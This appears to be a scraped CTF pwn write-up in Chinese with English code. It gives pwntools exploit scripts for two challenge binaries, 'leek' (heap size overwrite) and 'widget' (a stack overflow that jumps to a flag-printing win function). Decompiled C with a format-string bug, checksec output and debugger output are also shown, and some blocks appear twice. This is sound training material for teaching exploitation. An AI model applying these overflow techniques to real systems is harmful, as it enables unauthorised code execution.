sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
rl
=
lambda
drop
=
True
:p.recvline(drop)
rlf
=
lambda
drop
=
False
:p.recvline(drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.clear(arch
=
'amd64'
)
# 【注意1】加上架构信息,不然rop模块会把该程序当成32位程序
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
def
dbg():
gdb.attach(p)
# pause()
elf
=
ELF(
"./leek"
)
p
=
process(
"./leek"
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
for
i
in
range
(
100
):
# method1
payload
=
b
'a'
*
(
0x20
)
+
b
'z'
*
0x20
sla(
"): "
, payload)
# dbg()
# 下面这里不能使用sla,而需要使用sa。
# 如果用sla,那么输入的字符串长度就是0x22了,即最后两个字符是\n\x00,把前0x21个字符给s2后,缓冲区里还剩1个\x00
# 那么后面执行gets(v9)的时候,从stdin输入的第一个字符就是\x00,那就不能再修复chunk 的size字段了
sa(
"secret? "
, b
'z'
*
0x20
)
sla(
"want: "
,b
'a'
*
0x18
+
p64(
0x31
))
# method2
# payload = b'a'*(0x20-1) # 减1是留空间给\n,这样刚好填满chunk s的prev_size和size字段
# sla("): ", payload)
# ru("\n") # 接收刚刚输入的内容
# leak = r(0x20) # 接收chunk s中的随机数
# print(leak)
# sa("secret? ", leak)
# sla("want: ", b'b'*0x18 + p64(0x31))
itr()
root@5289895e8b8a:
/chal
# ./widget
Amount: 12
Contents: 2344
Your input: 2344
root@5289895e8b8a:
/chal
# checksec widget
[*]
'/chal/widget'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@5289895e8b8a:
/chal
# ./widget
Amount: 12
Contents: 2344
Your input: 2344
root@5289895e8b8a:
/chal
# checksec widget
[*]
'/chal/widget'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
int
amount;
// [rsp+Ch] [rbp-24h] BYREF
char
buf[24];
// [rsp+10h] [rbp-20h] BYREF buf距离rbp 0x20
__gid_t rgid;
// [rsp+28h] [rbp-8h]
unsigned
int
i;
// [rsp+2Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
setbuf
(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
if
( called )
exit
(1);
called = 1;
// 这个变量使得main函数只允许执行一次
printf
(
"Amount: "
);
amount = 0;
__isoc99_scanf(
"%d"
, &amount);
// 输入amount
getchar
();
if
( amount < 0 )
// amount需要>=0
exit
(1);
printf
(
"Contents: "
);
read(0, buf, amount);
// 读取amount长度的数据到buf
for
( i = 0; (
int
)i < amount; ++i )
{
if
( buf[i] ==
'n'
)
// amount长度的buf里不能含有n这个字符
{
printf
(
"bad %d\n"
, i);
exit
(1);
}
}
printf
(
"Your input: "
);
return
printf
(buf);
// 格式化字符串漏洞
}
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
int
amount;
// [rsp+Ch] [rbp-24h] BYREF
char
buf[24];
// [rsp+10h] [rbp-20h] BYREF buf距离rbp 0x20
__gid_t rgid;
// [rsp+28h] [rbp-8h]
unsigned
int
i;
// [rsp+2Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
setbuf
(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
if
( called )
exit
(1);
called = 1;
// 这个变量使得main函数只允许执行一次
printf
(
"Amount: "
);
amount = 0;
__isoc99_scanf(
"%d"
, &amount);
// 输入amount
getchar
();
if
( amount < 0 )
// amount需要>=0
exit
(1);
printf
(
"Contents: "
);
read(0, buf, amount);
// 读取amount长度的数据到buf
for
( i = 0; (
int
)i < amount; ++i )
{
if
( buf[i] ==
'n'
)
// amount长度的buf里不能含有n这个字符
{
printf
(
"bad %d\n"
, i);
exit
(1);
}
}
printf
(
"Your input: "
);
return
printf
(buf);
// 格式化字符串漏洞
}
int
__fastcall win(
const
char
*a1,
const
char
*a2)
{
char
s[136];
// [rsp+10h] [rbp-90h] BYREF
FILE
*stream;
// [rsp+98h] [rbp-8h]
if
(
strncmp
(a1,
"14571414c5d9fe9ed0698ef21065d8a6"
, 0x20uLL) )
// 第一个参数需要等于这个字符串
exit
(1);
if
(
strncmp
(a2,
"willy_wonka_widget_factory"
, 0x1AuLL) )
// 第二个参数需要等于这个字符串
exit
(1);
stream =
fopen
(
"flag.txt"
,
"r"
);
// 打印flag.txt内容。一样,可以尝试直接跳转到这里来绕过前面的if判断
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
return
puts
(s);
}
int
__fastcall win(
const
char
*a1,
const
char
*a2)
{
char
s[136];
// [rsp+10h] [rbp-90h] BYREF
FILE
*stream;
// [rsp+98h] [rbp-8h]
if
(
strncmp
(a1,
"14571414c5d9fe9ed0698ef21065d8a6"
, 0x20uLL) )
// 第一个参数需要等于这个字符串
exit
(1);
if
(
strncmp
(a2,
"willy_wonka_widget_factory"
, 0x1AuLL) )
// 第二个参数需要等于这个字符串
exit
(1);
stream =
fopen
(
"flag.txt"
,
"r"
);
// 打印flag.txt内容。一样,可以尝试直接跳转到这里来绕过前面的if判断
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
return
puts
(s);
}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
......
0x404000 0x405000 rw-p 1000 3000
/chal/widget
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
......
0x404000 0x405000 rw-p 1000 3000
/chal/widget
from
pwn
import
*
import
warnings
import
subprocess
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
rl
=
lambda
drop
=
True
:p.recvline(drop)
rlf
=
lambda
drop
=
False
:p.recvline(drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.clear(arch
=
'amd64'
)
# 【注意1】加上架构信息,不然rop模块会把该程序当成32位程序
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
def
dbg():
gdb.attach(p)
# pause()
elf
=
ELF(
"./widget"
)
p
=
process(
"./widget"
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
# p = remote("","")
# ru("proof of work: ")
# pow = rl()
# sla("solution: ", subprocess.check_output(pow, shell=True, text=True))
sla(b
"Amount: "
,
str
(
0x30
))
# 这个值其实只要够大就可以
payload
=
b
'a'
*
0x20
+
p64(
0x404500
)
+
p64(
0x40130B
)
sla(
"Contents: "
, payload)
itr()
from
pwn
import
*
import
warnings
import
subprocess
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!